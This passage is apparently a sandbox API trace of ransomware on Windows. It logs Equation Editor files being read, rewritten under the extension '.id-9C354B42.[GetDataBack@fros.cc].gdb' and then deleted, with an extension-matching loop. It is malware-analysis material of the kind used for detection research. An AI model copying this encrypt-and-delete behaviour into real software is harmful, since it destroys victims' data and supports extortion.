Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0131.456] lstrlenW (lpString=".dbf") returned 4 [0131.456] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0131.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0131.456] lstrlenW (lpString=".1cd") returned 4 [0131.456] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0131.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0131.457] lstrlenW (lpString=".jpg") returned 4 [0131.457] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0131.457] lstrcmpiW (lpString1=".CNT", lpString2=".gdb") returned -1 [0131.457] lstrlenW (lpString="EQNEDT32.CNT") returned 12 [0131.457] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0131.464] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=2557) returned 1 [0131.464] CloseHandle (hObject=0x1d4) returned 1 [0131.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 0x20 [0131.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0131.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0131.465] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0131.465] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0131.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0131.465] GetLastError () returned 0x0 [0131.465] ReadFile (in: hFile=0x1d4, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x9fd, lpOverlapped=0x0) returned 1 [0131.467] WriteFile (in: hFile=0x208, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0xa00, lpOverlapped=0x0) returned 1 [0131.469] ReadFile (in: hFile=0x1d4, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x0, lpOverlapped=0x0) returned 1 [0131.469] WriteFile (in: hFile=0x208, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0xec, lpOverlapped=0x0) returned 1 [0131.469] SetEndOfFile (hFile=0x208) returned 1 [0131.469] CloseHandle (hObject=0x208) returned 1 [0131.469] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0131.469] SetEndOfFile (hFile=0x1d4) returned 1 [0131.470] CloseHandle (hObject=0x1d4) returned 1 [0131.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0131.470] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 1 [0131.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0131.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0131.471] lstrlenW (lpString=".doc") returned 4 [0131.471] lstrcmpiW (lpString1=".doc", lpString2=".CNT") returned 1 [0131.471] lstrlenW (lpString=".docx") returned 5 [0131.471] lstrcmpiW (lpString1=".docx", lpString2="2.CNT") returned -1 [0131.471] lstrlenW (lpString=".pdf") returned 4 [0131.471] lstrcmpiW (lpString1=".pdf", lpString2=".CNT") returned 1 [0131.471] lstrlenW (lpString=".xls") returned 4 [0131.471] lstrcmpiW (lpString1=".xls", lpString2=".CNT") returned 1 [0131.471] lstrlenW (lpString=".xlsx") returned 5 [0131.471] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNT") returned -1 [0131.471] lstrlenW (lpString=".ppt") returned 4 [0131.471] lstrcmpiW (lpString1=".ppt", lpString2=".CNT") returned 1 [0131.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0131.471] lstrlenW (lpString=".zip") returned 4 [0131.471] lstrcmpiW (lpString1=".zip", lpString2=".CNT") returned 1 [0131.471] lstrlenW (lpString=".rar") returned 4 [0131.471] lstrcmpiW (lpString1=".rar", lpString2=".CNT") returned 1 [0131.471] lstrlenW (lpString=".bz2") returned 4 [0131.471] lstrcmpiW (lpString1=".bz2", lpString2=".CNT") returned -1 [0131.471] lstrlenW (lpString=".7z") returned 3 [0131.471] lstrcmpiW (lpString1=".7z", lpString2="CNT") returned -1 [0131.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0131.471] lstrlenW (lpString=".dbf") returned 4 [0131.471] lstrcmpiW (lpString1=".dbf", lpString2=".CNT") returned 1 [0131.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0131.471] lstrlenW (lpString=".1cd") returned 4 [0131.471] lstrcmpiW (lpString1=".1cd", lpString2=".CNT") returned -1 [0131.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0131.471] lstrlenW (lpString=".jpg") returned 4 [0131.471] lstrcmpiW (lpString1=".jpg", lpString2=".CNT") returned 1 [0131.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0131.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0131.471] lstrlenW (lpString=".doc") returned 4 [0131.471] lstrcmpiW (lpString1=".doc", lpString2=".CNT") returned 1 [0131.471] lstrlenW (lpString=".docx") returned 5 [0131.471] lstrcmpiW (lpString1=".docx", lpString2="2.CNT") returned -1 [0131.471] lstrlenW (lpString=".pdf") returned 4 [0131.471] lstrcmpiW (lpString1=".pdf", lpString2=".CNT") returned 1 [0131.471] lstrlenW (lpString=".xls") returned 4 [0131.471] lstrcmpiW (lpString1=".xls", lpString2=".CNT") returned 1 [0131.471] lstrlenW (lpString=".xlsx") returned 5 [0131.471] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNT") returned -1 [0131.472] lstrlenW (lpString=".ppt") returned 4 [0131.472] lstrcmpiW (lpString1=".ppt", lpString2=".CNT") returned 1 [0131.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0131.472] lstrlenW (lpString=".zip") returned 4 [0131.472] lstrcmpiW (lpString1=".zip", lpString2=".CNT") returned 1 [0131.472] lstrlenW (lpString=".rar") returned 4 [0131.472] lstrcmpiW (lpString1=".rar", lpString2=".CNT") returned 1 [0131.472] lstrlenW (lpString=".bz2") returned 4 [0131.472] lstrcmpiW (lpString1=".bz2", lpString2=".CNT") returned -1 [0131.472] lstrlenW (lpString=".7z") returned 3 [0131.472] lstrcmpiW (lpString1=".7z", lpString2="CNT") returned -1 [0131.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0131.472] lstrlenW (lpString=".dbf") returned 4 [0131.472] lstrcmpiW (lpString1=".dbf", lpString2=".CNT") returned 1 [0131.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0131.472] lstrlenW (lpString=".1cd") returned 4 [0131.472] lstrcmpiW (lpString1=".1cd", lpString2=".CNT") returned -1 [0131.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0131.472] lstrlenW (lpString=".jpg") returned 4 [0131.472] lstrcmpiW (lpString1=".jpg", lpString2=".CNT") returned 1 [0131.472] lstrcmpiW (lpString1=".EXE", lpString2=".gdb") returned -1 [0131.472] lstrlenW (lpString="EQNEDT32.EXE") returned 12 [0131.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0131.472] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=543304) returned 1 [0131.473] CloseHandle (hObject=0x1d4) returned 1 [0131.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 0x20 [0131.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0131.473] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0131.473] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0131.473] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0131.473] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0131.473] GetLastError () returned 0x0 [0131.473] ReadFile (in: hFile=0x1d4, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x84a48, lpOverlapped=0x0) returned 1 [0131.485] WriteFile (in: hFile=0x208, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0x84a50, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0x84a50, lpOverlapped=0x0) returned 1 [0131.523] ReadFile (in: hFile=0x1d4, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x0, lpOverlapped=0x0) returned 1 [0131.523] WriteFile (in: hFile=0x208, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0xec, lpOverlapped=0x0) returned 1 [0131.523] SetEndOfFile (hFile=0x208) returned 1 [0131.524] CloseHandle (hObject=0x208) returned 1 [0131.524] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0131.524] SetEndOfFile (hFile=0x1d4) returned 1 [0131.528] CloseHandle (hObject=0x1d4) returned 1 [0131.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0131.529] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 1 [0131.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0131.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0131.529] lstrlenW (lpString=".doc") returned 4 [0131.529] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0131.529] lstrlenW (lpString=".docx") returned 5 [0131.529] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0131.529] lstrlenW (lpString=".pdf") returned 4 [0131.529] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0131.529] lstrlenW (lpString=".xls") returned 4 [0131.529] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0131.529] lstrlenW (lpString=".xlsx") returned 5 [0131.529] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0131.529] lstrlenW (lpString=".ppt") returned 4 [0131.529] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0131.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0131.529] lstrlenW (lpString=".zip") returned 4 [0131.529] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0131.529] lstrlenW (lpString=".rar") returned 4 [0131.529] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0131.529] lstrlenW (lpString=".bz2") returned 4 [0131.529] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0131.530] lstrlenW (lpString=".7z") returned 3 [0131.530] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0131.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0131.530] lstrlenW (lpString=".dbf") returned 4 [0131.530] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0131.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0131.530] lstrlenW (lpString=".1cd") returned 4 [0131.530] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0131.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0131.530] lstrlenW (lpString=".jpg") returned 4 [0131.530] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0131.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0131.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0131.530] lstrlenW (lpString=".doc") returned 4 [0131.530] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0131.530] lstrlenW (lpString=".docx") returned 5 [0131.530] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0131.530] lstrlenW (lpString=".pdf") returned 4 [0131.530] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0131.530] lstrlenW (lpString=".xls") returned 4 [0131.530] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0131.530] lstrlenW (lpString=".xlsx") returned 5 [0131.530] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0131.530] lstrlenW (lpString=".ppt") returned 4 [0131.530] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0131.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0131.530] lstrlenW (lpString=".zip") returned 4 [0131.530] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0131.530] lstrlenW (lpString=".rar") returned 4 [0131.530] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0131.530] lstrlenW (lpString=".bz2") returned 4 [0131.530] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0131.530] lstrlenW (lpString=".7z") returned 3 [0131.530] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0131.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0131.530] lstrlenW (lpString=".dbf") returned 4 [0131.530] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0131.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0131.530] lstrlenW (lpString=".1cd") returned 4 [0131.530] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0131.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0131.530] lstrlenW (lpString=".jpg") returned 4 [0131.530] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0131.531] lstrcmpiW (lpString1=".manifest", lpString2=".gdb") returned 1 [0131.531] lstrlenW (lpString="eqnedt32.exe.manifest") returned 21 [0131.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0131.532] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=566) returned 1 [0131.532] CloseHandle (hObject=0x1d4) returned 1 [0131.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 0x20 [0131.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0131.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0131.532] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0131.532] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0131.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0131.533] GetLastError () returned 0x0 [0131.533] ReadFile (in: hFile=0x1d4, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x236, lpOverlapped=0x0) returned 1 [0131.534] WriteFile (in: hFile=0x208, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0x240, lpOverlapped=0x0) returned 1 [0131.534] ReadFile (in: hFile=0x1d4, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x0, lpOverlapped=0x0) returned 1 [0131.534] WriteFile (in: hFile=0x208, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0xfe, lpOverlapped=0x0) returned 1 [0131.534] SetEndOfFile (hFile=0x208) returned 1 [0131.535] CloseHandle (hObject=0x208) returned 1 [0131.535] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0131.535] SetEndOfFile (hFile=0x1d4) returned 1 [0131.535] CloseHandle (hObject=0x1d4) returned 1 [0131.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0131.536] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 1 [0131.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0131.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0131.536] lstrlenW (lpString=".doc") returned 4 [0131.536] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0131.536] lstrlenW (lpString=".docx") returned 5 [0131.536] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0131.536] lstrlenW (lpString=".pdf") returned 4 [0131.536] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0131.536] lstrlenW (lpString=".xls") returned 4 [0131.536] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0131.536] lstrlenW (lpString=".xlsx") returned 5 [0131.536] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0131.536] lstrlenW (lpString=".ppt") returned 4 [0131.537] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0131.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0131.537] lstrlenW (lpString=".zip") returned 4 [0131.537] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0131.537] lstrlenW (lpString=".rar") returned 4 [0131.537] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0131.537] lstrlenW (lpString=".bz2") returned 4 [0131.537] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0131.537] lstrlenW (lpString=".7z") returned 3 [0131.537] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0131.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0131.537] lstrlenW (lpString=".dbf") returned 4 [0131.537] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0131.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0131.537] lstrlenW (lpString=".1cd") returned 4 [0131.537] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0131.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0131.537] lstrlenW (lpString=".jpg") returned 4 [0131.537] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0131.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0131.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0131.537] lstrlenW (lpString=".doc") returned 4 [0131.537] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0131.537] lstrlenW (lpString=".docx") returned 5 [0131.537] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0131.537] lstrlenW (lpString=".pdf") returned 4 [0131.537] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0131.537] lstrlenW (lpString=".xls") returned 4 [0131.537] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0131.537] lstrlenW (lpString=".xlsx") returned 5 [0131.537] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0131.537] lstrlenW (lpString=".ppt") returned 4 [0131.537] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0131.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0131.537] lstrlenW (lpString=".zip") returned 4 [0131.537] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0131.537] lstrlenW (lpString=".rar") returned 4 [0131.537] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0131.537] lstrlenW (lpString=".bz2") returned 4 [0131.537] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0131.537] lstrlenW (lpString=".7z") returned 3 [0131.537] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0131.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0131.538] lstrlenW (lpString=".dbf") returned 4 [0131.538] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0131.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0131.538] lstrlenW (lpString=".1cd") returned 4 [0131.538] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0131.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0131.538] lstrlenW (lpString=".jpg") returned 4 [0131.538] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0131.538] lstrcmpiW (lpString1=".HLP", lpString2=".gdb") returned 1 